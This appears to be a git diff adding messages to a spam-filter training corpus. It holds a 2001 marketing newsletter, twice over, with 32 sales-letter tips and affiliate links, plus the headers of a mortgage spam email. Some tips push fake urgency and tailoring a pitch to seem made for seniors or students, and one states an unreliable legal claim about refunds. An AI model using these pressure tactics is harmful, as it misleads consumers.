4.1.patch39.ThingOne_p39_06_25_01.OrderErrorAndDebugFixes +X-Mailer: Roving Constant Contact 4.1.patch39.ThingOne_p39_06_25_01.OrderE + rrorAndDebugFixes (http://www.constantcontact.com) +X-Roving-Id: 993877123578 +Message-Id: <20010630063836.4324A25ABD@rovdb001.roving.com> +Date: Sat, 30 Jun 2001 02:38:36 -0400 (EDT) + + +---259765881.993893904265.JavaMail.RovAdmin.rovweb002 +Content-Type: text/plain; charset=iso-8859-1 + +Your Membership Community & Commentary (June 29, 2001) +It's All About Making Money + + + +Information to provide you with the absolute +
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    + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +32 Easy Ways To Breath New Life Into Any Webpage +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +

          It's true. +

    Ask the CEOs of Yahoo.com and America Online.  They'll +
    tell you it's true.  Send an email to Terry Dean or Allen +
    Says or Jim Daniels and ask them about it.  They'll agree +
    100% that it's true.  Don't just take my word for it. +

    In fact, you can contact any of the 10,000 folks online +
    selling web marketing resources, and they will all tell you +
    emphatically, without question, no doubts whatsoever, that +
    it is absolutely true. +

    It's true. ANYONE can earn a living online.  Really, they +
    can.  But, it takes several very important components to +
    join the 5% who are successful on the web. +

         One of those necessities is a website. +

         Now, your website does one of two things... +

         ...it either makes the sale, or it doesn't. +

    For 95% of online businesses, their websites simply do +
    not produce results. +

    And there is a very simple reason for poor performance. +
    Poor sales letters. +

    Does your website convince people to make a purchase? +
    If not, here are 32 easy ways to breathe new life into +
    your sales letter... +

    1) Write your sales letter with an individual in mind. +
    Go ahead and pick out someone, a real person to write your +
    sales letter to.  Doesn't matter if it is grandma or your +
    next door neighbor or your cat.  Write your sales letter +
    just like you are writing it to them personally.  Why? +
    Because when your potential customer reads, it then it will +
    seem personal, almost like you wrote it with them in mind. +
    Too often, sales letters are written as if they were going +
    to be read to an audience rather than one person.  Keep your +
    sales letters personal, because one person at a time is +
    going to read them. +

    2) Use an illustration to get your point across.  In my +
    sales letters I have told stories about my car stalling on +
    the side of the road to illustrate the idea that we must +
    constantly add the fuel of advertising to keep our +
    businesses running. I have compared the hype of easily +
    making millions online to the chances of me riding bareback +
    across Montana on a grizzly bear.  Leads have read of how +
    getting to the top of an oak tree relates to aggressively +
    marketing online. People love a good story that pounds home +
    a solid message.  Tell stories that illustrate a point you +
    are trying to make.  Emphasize a benefit by sharing an +
    account from the "real world."  It effectively creates +
    interest and further establishes the point. +

    3) Create an interest in the reader from the very first +
    line.  Your first line of the sales letter should +
    immediately create a desire in the reader to want to know +
    more.  Go back to the beginning of this article.  The first +
    words were, "It's true."  I can guarantee you that either +
    consciously or subconsciously you thought "What's true?" +
    Immediately, your mind wanted to know what I was talking +
    about.  Before you even knew it you were right here, 8 +
    paragraphs into this article.  Carefully craft your first +
    line.  If you can immediately get them wanting to know more, +
    you've got a winner. +

    4) Use bullets. People spend a lot of time reading bulleted +
    lists. In fact, they often reread them over and over. Use +
    bulleted lists to stress the benefits of your product or +
    service, to spell out exactly what is included in your offer. +
    Use an extra space in between each bullet to really highlight +
    each line and create a sense of more length to the list. +

    5) Launch into a bullet list immediately.  Shortly after +
    your opening line, immediately give the reader a bullet +
    list of benefits to absorb.  Hit them with your best shot. +
    Pull out the big guns and stress "just a few of" the most +
    important things the reader will discover.  By offering a +
    killer list early in your sales letter, you will automatically +
    create a desire in the reader to continue through your ad +
    copy.  After all, if they are already interested after the +
    first list of benefits, they will certainly be open to +
    finding out even more reasons why your product or service +
    will aid them. +

    6) Just let it all flow out.  Write down everything that +
    enters your mind as you are writing your sales letter. You +
    can edit it later.  If you just sit and start writing +
    everything you know about your product or service and how it +
    will benefit your customer, you will be amazed at how much +
    information floods your mind.  Write it ALL down.  Then read +
    through it - you'll be able to add a lot more detail to +
    many of the points.  Edit it after you have exhausted all +
    of your ideas. +

    7) Make your sales letter personal.  Make sure that the +
    words "you" and "your" are at least 4:1 over "I" and "my." +
    Your ad copy must be written about YOUR CUSTOMER not +
    yourself.  I'm not sure how the old advertising adage goes, +
    but it's something like this, "I don't care a thing about +
    your lawn mower, I just care about my lawn."  Leads aren't +
    interested in you or your products, they are interested in +
    themselves and their wants and needs.  When you are finished +
    with your sales letter and have uploaded it to a test +
    webpage, run a check at http://www.keywordcount.com and see +
    what the ratio between "you" and "your" versus references to +
    "I," "me," "my," etc.  It's a free service.  Make sure it's +
    at least 4:1 in favor of the customer. +

    8) Write like you speak.  Forget all of those rules that +
    your grammar teacher taught you.  Write your sales letters +
    in everyday language, just like you would talk in person. +
    Don't be afraid to begin sentences with "And" or "Because." +
    Don't worry about ending a sentence with a preposition. +
    Write like you speak. Your sales letter isn't the great +
    American novel, so don't write it like you are Ernest +
    Hemingway. +

    9) Use short paragraphs consisting of 2-4 sentences each. +
    Long copy works... but long paragraphs do not.  Use short +
    paragraphs that lead into the next paragraph. Don't be +
    afraid to use short sentences.  Like this one. +

    Or this. +

    See what I mean?  Shorter paragraphs keep the interest of +
    the reader. Longer paragraphs cause eye strain and often +
    force the reader to get distracted. +

    10)  Stress the benefits, not the features.  Again, +
    readers want the burning question answered, "What's in it +
    for  me?"  What need is it going to meet? What want is it +
    going to fill?  How is your product or service going to be +
    of value or benefit to the reader?  Spell it out.  Don't +
    focus on the features of your product or service , but +
    rather how those features will add value to the life of your +
    reader. +

    For example:  If you are selling automobile tires, you may +
    very well have the largest assortment of tires in the world, +
    but who cares? I don't care about your selection. But, I +
    do care about keeping my 3-month-old baby girl safe while +
    we are traveling.  So, instead of focusing on your selection, +
    you focus on the fact that my baby girl can be kept safe +
    because you have a tire that will fit my car. You're not +
    selling tires, you're selling safety for my family. Stress +
    the benefits, not the features. +

    11) Keep the reader interested.  Some sales letters read +
    like they are a manual trying to explain to me how I can +
    perform some complicated surgery on my wife. They are +
    filled with words and phrases that I need a dictionary to +
    understand.  Unless you are writing to a very targeted +
    audience, avoid using technical language that many readers +
    might not understand. Keep it simple, using words, language +
    and information that are easy to understand and follow. +

    12) Target your sales letter.  When you are finished with +
    your final draft of the sales letter, target it to a +
    specific audience.  For example: If you are selling a "work +
    at home" product, then rewrite the sales letter by adding +
    words in the headlines and ad copy that are targeted towards +
    women who are homemakers.  Then, rewrite the same sales +
    letter and target it to college students.  Write another +
    letter targeting senior citizens.  Still another could be +
    written to high school teachers wanting to earn extra income +
    during summer vacation.  The possibilities are endless. +

    All you need to do is add a few words here and there in +
    your ad copy to make it appear that your product or service +
    is specifically designed for a target audience. "Work only +
    5 hours a week," would become "College Students, work only +
    5 hours a week."  Your sales letter is now targeted. Upload +
    all of the sales letters to separate pages on your website +
    (you could easily target 100's of groups). +

    Then, simply advertise the targeted pages in targeted +
    mediums.  You could advertise the "College Students" page +
    in a campus ezine.  The "Senior Citizens" page could be +
    advertised at a retirement community message board. +

    By creating these targeted sales letters, you can literally +
    open up dozens of new groups to sell your existing product +
    to.  And, in their eyes, it looks like the product was a +
    match made for them. +

    13) Make your ad copy easy to follow.  Use short sentences +
    and paragraphs. Break up the sales letter with attention +
    grabbing headlines that lead into the next paragraph. One +
    thing that I have always found to work very well in sales +
    letters... +

         ...is to use a pause like this. +

    Start the sentence on one line, leaving the reader wanting +
    to know more, and then finishing up on the next line. Also, +
    if you are going to use a sales letter that continues on +
    several different pages of your website, use a catchy hook +
    line at the end of each page to keep them clicking. "Let's +
    get you started down the road to success, shall we? CLICK +
    HERE to continue." +

    14) Use similes and metaphors for effect.  When the +
    customer purchases your product, they will generate "a flood +
    of traffic that would make Noah start building another ark." +
    If they do not order today, then they will "feel like a cat +
    that let the mouse get away."  Use words to create a picture +
    in the readers' mind.  When you think of Superman, what +
    comes to mind?  Immediately, we remember that he is "faster +
    than a speeding bullet."  "More powerful than a locomotive." +
    "Able to leap tall buildings in a single bound." See how +
    word pictures stick in our minds? +

    15) Focus on one product or service.  Don't try to sell +
    your customer multiple products at the same time. It only +
    confuses the reader.  Keep your ad copy directed at one +
    specific product or service.  Then, use other products and +
    services as back-end products. +

    16) Make it stand out.  Don't kid yourself.  There are +
    hundreds, maybe thousands out there on the web doing the +
    same thing you are doing.  How will you stand out among the +
    crowd?  Your sales letter must inject personality. It must +
    breathe of originality.  Your product or service is +
    different. It's not like all of the rest.  It is unique. +
    Right? Your sales letter must separate you from the +
    competition.  It must create a feeling of "You won't find +
    this anywhere else." +

    17) Be believable. "Earn $54,000 in the next 24 hours!!!" +
    Delete.  Good grief, do they think I am an idiot or +
    something?  Get real.  Don't make outrageous claims that +
    are obviously not the truth.  You'll ruin your reputation. +
    Let me tell you a simple universal fact that cannot be +
    reversed.  Once you have been branded a liar, you will +
    NEVER be anything but a liar.  It doesn't matter if you +
    launch the most respectable, honest business available +
    anywhere, people will always have doubt because they +
    remember the crazy stuff you've said before.  Be believable. +
    Don't exaggerate, mislead, stretch or distort the truth. +

    18) Be specific. Don't generalize your information, but +
    rather be EXACT.  Instead of "over 100 tips for losing +
    weight" use "124 tips for losing weight." By generalizing +
    information, it creates doubt and questions in the reader's +
    mind.  "What am I really getting here?  Does he even know?" +
    When you use specific information, the reader begins to +
    think, "This person must have counted.  I know exactly what +
    I can expect."  "Platitudes and generalities roll off the +
    human understanding like water from a duck," wrote Claude +
    Hopkins in his classic book "Scientific Advertising." "They +
    leave no impression whatsoever." +

    19) Be complete. Tell the reader everything they would +
    want to know about your product or service.  Answer all of +
    their questions, anything they would want to consider before +
    making a purchase.  Think about it from their point of view. +
    Ask yourself, "Why wouldn't I buy this?"  Then, address that +
    in your sales letter.  Remove anything that would keep the +
    reader from making the purchase. +

    20) Use testimonials to boost your sales.  Share actual +
    excerpts from what your current customers are saying about +
    your product or service. Many websites have an entire +
    section or even a separate page that has endorsements and +
    compliments listed.  Satisfied customers remove some of the +
    doubt in the mind of the reader.  "If these people have +
    found a lot of value and benefit in the product, then I +
    probably will too."  Especially effective are testimonials +
    from respected, well known "authorities" within your target +
    field. +

    21) Use headlines over and over throughout the sales letter. +
    A headline isn't just relegated to the beginning of your +
    ad copy.  Use them frequently -but don't overuse.  A well- +
    placed headline re-grabs the reader's attention, brings +
    them deeper into the letter, and readies them for the next +
    paragraph. You will want to spend as much time working on +
    your headlines as you do the entire sales letter.  They are +
    that important. +

    22) Avoid asking stupid questions.  "Wouldn't you like to +
    make $1,000,000 a year?" "Doesn't that sound great?" "Would +
    you like to be as successful as I am?"  Avoid any question +
    that insults the intelligence of your reader or makes them +
    feel like they are inferior. +

    23) Offer a freebie even if the customer doesn't buy. +
    If the customer decides he or she isn't going to make a +
    purchase, then you want to follow-up with them later to try +
    to influence them to buy in the future.  By offering a free +
    item, you can  request their email address in order to +
    obtain the freebie.  By doing this, you can now follow-up +
    with the customer for a potential future sale. +
    Additionally, you can continue the sales process by having +
    your ad copy, banners, flyers, etc. within the free item. +
    And, of course, if your free item is a high quality, useful +
    product or service which impresses the customer, they +
    probably will be back as a customer soon. +

    24) Use bonuses to overwhelm the reader.  One of the things +
    that I have found very effective in writing sales letters +
    is to include bonus items that OUT-VALUE the actual product +
    I am offering.  Ginsu made this one famous. They were +
    selling a set of steak knives, but before the commercial +
    was finished, you had so many bonus items on the table +
    it was hard to refuse. Make sure you provide quality +
    bonuses and not some worthless, outdated junk that damages +
    the credibility of your main offer. +

    25) Use connective phrases like "But wait, there's more" +
    and "But that's not all."  These phrases effectively lead +
    the reader from one paragraph to the next, particularly +
    when the next paragraph is a bullet list of benefits, or +
    leads into bonus items.  Again, the idea is MORE and MORE +
    value and benefits to the reader. +

    26) Always include a deadline.  By including a deadline, +
    you create a sense of urgency in the mind of the customer. +
    "If I don't order within 24 hours, then I won't get the +
    bonuses."  "Oh no, there are only 10 items remaining, +
    I've got to hurry."  Let the customer know what they will +
    be missing out on if they don't make the deadline. Remember, +
    they won't miss out on your products or bonuses, they will +
    miss out on all of the benefits of your products. Deadlines +
    are very effective.  Every sales letter should have one. +

    27) Tell them exactly how to order.  Be clear as to the +
    order process. Point them towards the order link.  Tell +
    them what methods you offer. (I.E. credit cards, checks, +
    etc.)  Make this process as simple and clear as can be. +
    If it takes more than 2 steps, most people won't continue. +

    28)  Explain when the product will be delivered.  How +
    quickly will the order be processed?  When will the order be +
    available?  Let the customer know exactly what they can +
    expect when they place their order.  The more specific you +
    can be here, the better.  Let them know that you have a +
    system in place.  "Operators are standing by."  Their order +
    will be handled properly.  Tell them. +

    29) Offer a money back guarantee.  Take away their last +
    reason to hold back.  Offer a "no questions asked" 30 day +
    guarantee.  Most people may not realize this, but in most +
    cases, it's the law of the land.  You are REQUIRED to give +
    them their money back if they are not satisfied with the +
    product or service.  Since it's the law anyway, why not make +
    it a benefit. Let them know that they are purchasing your +
    product or service RISK-FREE. +

    30) Instruct them to respond immediately.  Many people +
    just need to read those words, "Act Now!"  "Order today!" +
    "Click Here to Instantly Place Your Order."  You've got them +
    this far, now tell them what you want them to do.  Get them +
    to "Act Fast!"  Have you ever heard a mail order commercial +
    on television that didn't prompt the viewer to order right +
    way? +

    31) Include a post script.  People will always read the +
    P.S.  Always. In fact, the P.S. is one of the MOST IMPORTANT +
    parts of your sales letter. Why?  Because in many cases the +
    visitor at your website will scroll immediately down to the +
    end of your page to see how much it is going to cost.  A +
    P.S. is a perfect place to recap your offer, so when they +
    see your price tag, they will also see a very detailed +
    description of what they will receive for their money. Use +
    your P.S. to restate your offer in detail. +

    32) Include a second post script.  You better believe +
    if they read the first P.S., they will read a P.P.S.  Use +
    this post script to remind them of the deadline or offer +
    another bonus or point out some compelling factor that would +
    make them want to order.  I guarantee you they will read it. +

    Use these 32 tips and I guarantee you that you will see +
    a significant increase in the amount of responses you +
    receive from your sales letters.  In fact, it would be +
    impossible for your responses to not improve. +
      +

    Copyright 2000 Jimmy D. Brown. All rights reserved worldwide. +
    ------------------------------------- +
    About the Author... +

    Jimmy D. Brown is helping average people get out of +
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    Your Membership Community & Commentary
      It's All About Making MoneyJune 29, 2001  
    +

    + + + + + + + + +
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    + + in this issue + +
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    + +
    32 Easy Ways To Breath New Life Into Any Webpage +

    Member Showcase +

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  • 32 Easy Ways To Breath New Life Into Any Webpage
    •   

          It's true. +

    Ask the CEOs of Yahoo.com and America Online.  They'll +
    tell you it's true.  Send an email to Terry Dean or Allen +
    Says or Jim Daniels and ask them about it.  They'll agree +
    100% that it's true.  Don't just take my word for it. +

    In fact, you can contact any of the 10,000 folks online +
    selling web marketing resources, and they will all tell you +
    emphatically, without question, no doubts whatsoever, that +
    it is absolutely true. +

    It's true. ANYONE can earn a living online.  Really, they +
    can.  But, it takes several very important components to +
    join the 5% who are successful on the web. +

         One of those necessities is a website. +

         Now, your website does one of two things... +

         ...it either makes the sale, or it doesn't. +

    For 95% of online businesses, their websites simply do +
    not produce results. +

    And there is a very simple reason for poor performance. +
    Poor sales letters. +

    Does your website convince people to make a purchase? +
    If not, here are 32 easy ways to breathe new life into +
    your sales letter... +

    1) Write your sales letter with an individual in mind. +
    Go ahead and pick out someone, a real person to write your +
    sales letter to.  Doesn't matter if it is grandma or your +
    next door neighbor or your cat.  Write your sales letter +
    just like you are writing it to them personally.  Why? +
    Because when your potential customer reads, it then it will +
    seem personal, almost like you wrote it with them in mind. +
    Too often, sales letters are written as if they were going +
    to be read to an audience rather than one person.  Keep your +
    sales letters personal, because one person at a time is +
    going to read them. +

    2) Use an illustration to get your point across.  In my +
    sales letters I have told stories about my car stalling on +
    the side of the road to illustrate the idea that we must +
    constantly add the fuel of advertising to keep our +
    businesses running. I have compared the hype of easily +
    making millions online to the chances of me riding bareback +
    across Montana on a grizzly bear.  Leads have read of how +
    getting to the top of an oak tree relates to aggressively +
    marketing online. People love a good story that pounds home +
    a solid message.  Tell stories that illustrate a point you +
    are trying to make.  Emphasize a benefit by sharing an +
    account from the "real world."  It effectively creates +
    interest and further establishes the point. +

    3) Create an interest in the reader from the very first +
    line.  Your first line of the sales letter should +
    immediately create a desire in the reader to want to know +
    more.  Go back to the beginning of this article.  The first +
    words were, "It's true."  I can guarantee you that either +
    consciously or subconsciously you thought "What's true?" +
    Immediately, your mind wanted to know what I was talking +
    about.  Before you even knew it you were right here, 8 +
    paragraphs into this article.  Carefully craft your first +
    line.  If you can immediately get them wanting to know more, +
    you've got a winner. +

    4) Use bullets. People spend a lot of time reading bulleted +
    lists. In fact, they often reread them over and over. Use +
    bulleted lists to stress the benefits of your product or +
    service, to spell out exactly what is included in your offer. +
    Use an extra space in between each bullet to really highlight +
    each line and create a sense of more length to the list. +

    5) Launch into a bullet list immediately.  Shortly after +
    your opening line, immediately give the reader a bullet +
    list of benefits to absorb.  Hit them with your best shot. +
    Pull out the big guns and stress "just a few of" the most +
    important things the reader will discover.  By offering a +
    killer list early in your sales letter, you will automatically +
    create a desire in the reader to continue through your ad +
    copy.  After all, if they are already interested after the +
    first list of benefits, they will certainly be open to +
    finding out even more reasons why your product or service +
    will aid them. +

    6) Just let it all flow out.  Write down everything that +
    enters your mind as you are writing your sales letter. You +
    can edit it later.  If you just sit and start writing +
    everything you know about your product or service and how it +
    will benefit your customer, you will be amazed at how much +
    information floods your mind.  Write it ALL down.  Then read +
    through it - you'll be able to add a lot more detail to +
    many of the points.  Edit it after you have exhausted all +
    of your ideas. +

    7) Make your sales letter personal.  Make sure that the +
    words "you" and "your" are at least 4:1 over "I" and "my." +
    Your ad copy must be written about YOUR CUSTOMER not +
    yourself.  I'm not sure how the old advertising adage goes, +
    but it's something like this, "I don't care a thing about +
    your lawn mower, I just care about my lawn."  Leads aren't +
    interested in you or your products, they are interested in +
    themselves and their wants and needs.  When you are finished +
    with your sales letter and have uploaded it to a test +
    webpage, run a check at http://www.keywordcount.com and see +
    what the ratio between "you" and "your" versus references to +
    "I," "me," "my," etc.  It's a free service.  Make sure it's +
    at least 4:1 in favor of the customer. +

    8) Write like you speak.  Forget all of those rules that +
    your grammar teacher taught you.  Write your sales letters +
    in everyday language, just like you would talk in person. +
    Don't be afraid to begin sentences with "And" or "Because." +
    Don't worry about ending a sentence with a preposition. +
    Write like you speak. Your sales letter isn't the great +
    American novel, so don't write it like you are Ernest +
    Hemingway. +

    9) Use short paragraphs consisting of 2-4 sentences each. +
    Long copy works... but long paragraphs do not.  Use short +
    paragraphs that lead into the next paragraph. Don't be +
    afraid to use short sentences.  Like this one. +

    Or this. +

    See what I mean?  Shorter paragraphs keep the interest of +
    the reader. Longer paragraphs cause eye strain and often +
    force the reader to get distracted. +

    10)  Stress the benefits, not the features.  Again, +
    readers want the burning question answered, "What's in it +
    for  me?"  What need is it going to meet? What want is it +
    going to fill?  How is your product or service going to be +
    of value or benefit to the reader?  Spell it out.  Don't +
    focus on the features of your product or service , but +
    rather how those features will add value to the life of your +
    reader. +

    For example:  If you are selling automobile tires, you may +
    very well have the largest assortment of tires in the world, +
    but who cares? I don't care about your selection. But, I +
    do care about keeping my 3-month-old baby girl safe while +
    we are traveling.  So, instead of focusing on your selection, +
    you focus on the fact that my baby girl can be kept safe +
    because you have a tire that will fit my car. You're not +
    selling tires, you're selling safety for my family. Stress +
    the benefits, not the features. +

    11) Keep the reader interested.  Some sales letters read +
    like they are a manual trying to explain to me how I can +
    perform some complicated surgery on my wife. They are +
    filled with words and phrases that I need a dictionary to +
    understand.  Unless you are writing to a very targeted +
    audience, avoid using technical language that many readers +
    might not understand. Keep it simple, using words, language +
    and information that are easy to understand and follow. +

    12) Target your sales letter.  When you are finished with +
    your final draft of the sales letter, target it to a +
    specific audience.  For example: If you are selling a "work +
    at home" product, then rewrite the sales letter by adding +
    words in the headlines and ad copy that are targeted towards +
    women who are homemakers.  Then, rewrite the same sales +
    letter and target it to college students.  Write another +
    letter targeting senior citizens.  Still another could be +
    written to high school teachers wanting to earn extra income +
    during summer vacation.  The possibilities are endless. +

    All you need to do is add a few words here and there in +
    your ad copy to make it appear that your product or service +
    is specifically designed for a target audience. "Work only +
    5 hours a week," would become "College Students, work only +
    5 hours a week."  Your sales letter is now targeted. Upload +
    all of the sales letters to separate pages on your website +
    (you could easily target 100's of groups). +

    Then, simply advertise the targeted pages in targeted +
    mediums.  You could advertise the "College Students" page +
    in a campus ezine.  The "Senior Citizens" page could be +
    advertised at a retirement community message board. +

    By creating these targeted sales letters, you can literally +
    open up dozens of new groups to sell your existing product +
    to.  And, in their eyes, it looks like the product was a +
    match made for them. +

    13) Make your ad copy easy to follow.  Use short sentences +
    and paragraphs. Break up the sales letter with attention +
    grabbing headlines that lead into the next paragraph. One +
    thing that I have always found to work very well in sales +
    letters... +

         ...is to use a pause like this. +

    Start the sentence on one line, leaving the reader wanting +
    to know more, and then finishing up on the next line. Also, +
    if you are going to use a sales letter that continues on +
    several different pages of your website, use a catchy hook +
    line at the end of each page to keep them clicking. "Let's +
    get you started down the road to success, shall we? CLICK +
    HERE to continue." +

    14) Use similes and metaphors for effect.  When the +
    customer purchases your product, they will generate "a flood +
    of traffic that would make Noah start building another ark." +
    If they do not order today, then they will "feel like a cat +
    that let the mouse get away."  Use words to create a picture +
    in the readers' mind.  When you think of Superman, what +
    comes to mind?  Immediately, we remember that he is "faster +
    than a speeding bullet."  "More powerful than a locomotive." +
    "Able to leap tall buildings in a single bound." See how +
    word pictures stick in our minds? +

    15) Focus on one product or service.  Don't try to sell +
    your customer multiple products at the same time. It only +
    confuses the reader.  Keep your ad copy directed at one +
    specific product or service.  Then, use other products and +
    services as back-end products. +

    16) Make it stand out.  Don't kid yourself.  There are +
    hundreds, maybe thousands out there on the web doing the +
    same thing you are doing.  How will you stand out among the +
    crowd?  Your sales letter must inject personality. It must +
    breathe of originality.  Your product or service is +
    different. It's not like all of the rest.  It is unique. +
    Right? Your sales letter must separate you from the +
    competition.  It must create a feeling of "You won't find +
    this anywhere else." +

    17) Be believable. "Earn $54,000 in the next 24 hours!!!" +
    Delete.  Good grief, do they think I am an idiot or +
    something?  Get real.  Don't make outrageous claims that +
    are obviously not the truth.  You'll ruin your reputation. +
    Let me tell you a simple universal fact that cannot be +
    reversed.  Once you have been branded a liar, you will +
    NEVER be anything but a liar.  It doesn't matter if you +
    launch the most respectable, honest business available +
    anywhere, people will always have doubt because they +
    remember the crazy stuff you've said before.  Be believable. +
    Don't exaggerate, mislead, stretch or distort the truth. +

    18) Be specific. Don't generalize your information, but +
    rather be EXACT.  Instead of "over 100 tips for losing +
    weight" use "124 tips for losing weight." By generalizing +
    information, it creates doubt and questions in the reader's +
    mind.  "What am I really getting here?  Does he even know?" +
    When you use specific information, the reader begins to +
    think, "This person must have counted.  I know exactly what +
    I can expect."  "Platitudes and generalities roll off the +
    human understanding like water from a duck," wrote Claude +
    Hopkins in his classic book "Scientific Advertising." "They +
    leave no impression whatsoever." +

    19) Be complete. Tell the reader everything they would +
    want to know about your product or service.  Answer all of +
    their questions, anything they would want to consider before +
    making a purchase.  Think about it from their point of view. +
    Ask yourself, "Why wouldn't I buy this?"  Then, address that +
    in your sales letter.  Remove anything that would keep the +
    reader from making the purchase. +

    20) Use testimonials to boost your sales.  Share actual +
    excerpts from what your current customers are saying about +
    your product or service. Many websites have an entire +
    section or even a separate page that has endorsements and +
    compliments listed.  Satisfied customers remove some of the +
    doubt in the mind of the reader.  "If these people have +
    found a lot of value and benefit in the product, then I +
    probably will too."  Especially effective are testimonials +
    from respected, well known "authorities" within your target +
    field. +

    21) Use headlines over and over throughout the sales letter. +
    A headline isn't just relegated to the beginning of your +
    ad copy.  Use them frequently -but don't overuse.  A well- +
    placed headline re-grabs the reader's attention, brings +
    them deeper into the letter, and readies them for the next +
    paragraph. You will want to spend as much time working on +
    your headlines as you do the entire sales letter.  They are +
    that important. +

    22) Avoid asking stupid questions.  "Wouldn't you like to +
    make $1,000,000 a year?" "Doesn't that sound great?" "Would +
    you like to be as successful as I am?"  Avoid any question +
    that insults the intelligence of your reader or makes them +
    feel like they are inferior. +

    23) Offer a freebie even if the customer doesn't buy. +
    If the customer decides he or she isn't going to make a +
    purchase, then you want to follow-up with them later to try +
    to influence them to buy in the future.  By offering a free +
    item, you can  request their email address in order to +
    obtain the freebie.  By doing this, you can now follow-up +
    with the customer for a potential future sale. +
    Additionally, you can continue the sales process by having +
    your ad copy, banners, flyers, etc. within the free item. +
    And, of course, if your free item is a high quality, useful +
    product or service which impresses the customer, they +
    probably will be back as a customer soon. +

    24) Use bonuses to overwhelm the reader.  One of the things +
    that I have found very effective in writing sales letters +
    is to include bonus items that OUT-VALUE the actual product +
    I am offering.  Ginsu made this one famous. They were +
    selling a set of steak knives, but before the commercial +
    was finished, you had so many bonus items on the table +
    it was hard to refuse. Make sure you provide quality +
    bonuses and not some worthless, outdated junk that damages +
    the credibility of your main offer. +

    25) Use connective phrases like "But wait, there's more" +
    and "But that's not all."  These phrases effectively lead +
    the reader from one paragraph to the next, particularly +
    when the next paragraph is a bullet list of benefits, or +
    leads into bonus items.  Again, the idea is MORE and MORE +
    value and benefits to the reader. +

    26) Always include a deadline.  By including a deadline, +
    you create a sense of urgency in the mind of the customer. +
    "If I don't order within 24 hours, then I won't get the +
    bonuses."  "Oh no, there are only 10 items remaining, +
    I've got to hurry."  Let the customer know what they will +
    be missing out on if they don't make the deadline. Remember, +
    they won't miss out on your products or bonuses, they will +
    miss out on all of the benefits of your products. Deadlines +
    are very effective.  Every sales letter should have one. +

    27) Tell them exactly how to order.  Be clear as to the +
    order process. Point them towards the order link.  Tell +
    them what methods you offer. (I.E. credit cards, checks, +
    etc.)  Make this process as simple and clear as can be. +
    If it takes more than 2 steps, most people won't continue. +

    28)  Explain when the product will be delivered.  How +
    quickly will the order be processed?  When will the order be +
    available?  Let the customer know exactly what they can +
    expect when they place their order.  The more specific you +
    can be here, the better.  Let them know that you have a +
    system in place.  "Operators are standing by."  Their order +
    will be handled properly.  Tell them. +

    29) Offer a money back guarantee.  Take away their last +
    reason to hold back.  Offer a "no questions asked" 30 day +
    guarantee.  Most people may not realize this, but in most +
    cases, it's the law of the land.  You are REQUIRED to give +
    them their money back if they are not satisfied with the +
    product or service.  Since it's the law anyway, why not make +
    it a benefit. Let them know that they are purchasing your +
    product or service RISK-FREE. +

    30) Instruct them to respond immediately.  Many people +
    just need to read those words, "Act Now!"  "Order today!" +
    "Click Here to Instantly Place Your Order."  You've got them +
    this far, now tell them what you want them to do.  Get them +
    to "Act Fast!"  Have you ever heard a mail order commercial +
    on television that didn't prompt the viewer to order right +
    way? +

    31) Include a post script.  People will always read the +
    P.S.  Always. In fact, the P.S. is one of the MOST IMPORTANT +
    parts of your sales letter. Why?  Because in many cases the +
    visitor at your website will scroll immediately down to the +
    end of your page to see how much it is going to cost.  A +
    P.S. is a perfect place to recap your offer, so when they +
    see your price tag, they will also see a very detailed +
    description of what they will receive for their money. Use +
    your P.S. to restate your offer in detail. +

    32) Include a second post script.  You better believe +
    if they read the first P.S., they will read a P.P.S.  Use +
    this post script to remind them of the deadline or offer +
    another bonus or point out some compelling factor that would +
    make them want to order.  I guarantee you they will read it. +

    Use these 32 tips and I guarantee you that you will see +
    a significant increase in the amount of responses you +
    receive from your sales letters.  In fact, it would be +
    impossible for your responses to not improve. +
      +

    Copyright 2000 Jimmy D. Brown. All rights reserved worldwide. +
    ------------------------------------- +
    About the Author... +

    Jimmy D. Brown is helping average people get out of +
    the rat-race and earn a full-time living online. For +
    more details on firing your boss and creating your +
    own internet wealth, visit us right now at: +

    http://www.roibot.com/w.cgi?R18328_privatevault +

    * Special offer: Join the Profits Vault through the above +
    link and email me your receipt and you can have a FREE BONUS +
    copy of The Terrific Manual - How To Profit From Free +
    Ebooks GUARANTEED which I sell at: +

    http://www.businessmarketinginformation.com/ebookmarketing/

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If you have received +this mailing in error, or do not wish to receive any further mailings +pertaining to this topic, simply send email to: del_list_tld@yahoo.com. +We respect all removal requests. +####################################################################### + + + diff --git a/bayes/spamham/spam_2/00055.0b668beca14ab545bd39f17dbe20775c b/bayes/spamham/spam_2/00055.0b668beca14ab545bd39f17dbe20775c new file mode 100644 index 0000000..31822f4 --- /dev/null +++ b/bayes/spamham/spam_2/00055.0b668beca14ab545bd39f17dbe20775c @@ -0,0 +1,114 @@ +From ofif@aol.com Sat Jun 30 15:51:44 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mailepiser (unknown [195.77.14.130]) by mail.netnoteinc.com + (Postfix) with ESMTP id 7165711812D for ; + Sat, 30 Jun 2001 15:51:43 +0100 (IST) +Received: from 208.187.15.9 - 208.187.15.9 by mailepiser with Microsoft + SMTPSVC(5.5.1775.675.6); Sat, 30 Jun 2001 13:29:28 +0200 +To: +From: ofif@aol.com +Subject: re. 6.29% Fixed Rate - Free Instant Quote 30127 +Date: Sun, 01 Jul 2001 11:56:04 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook 8.4, Build 4.84.2183.0 +Message-Id: <0bff72829111e61RAD_DNS_SERVER@mailepiser> + + + + + + + + + + + + + + + +
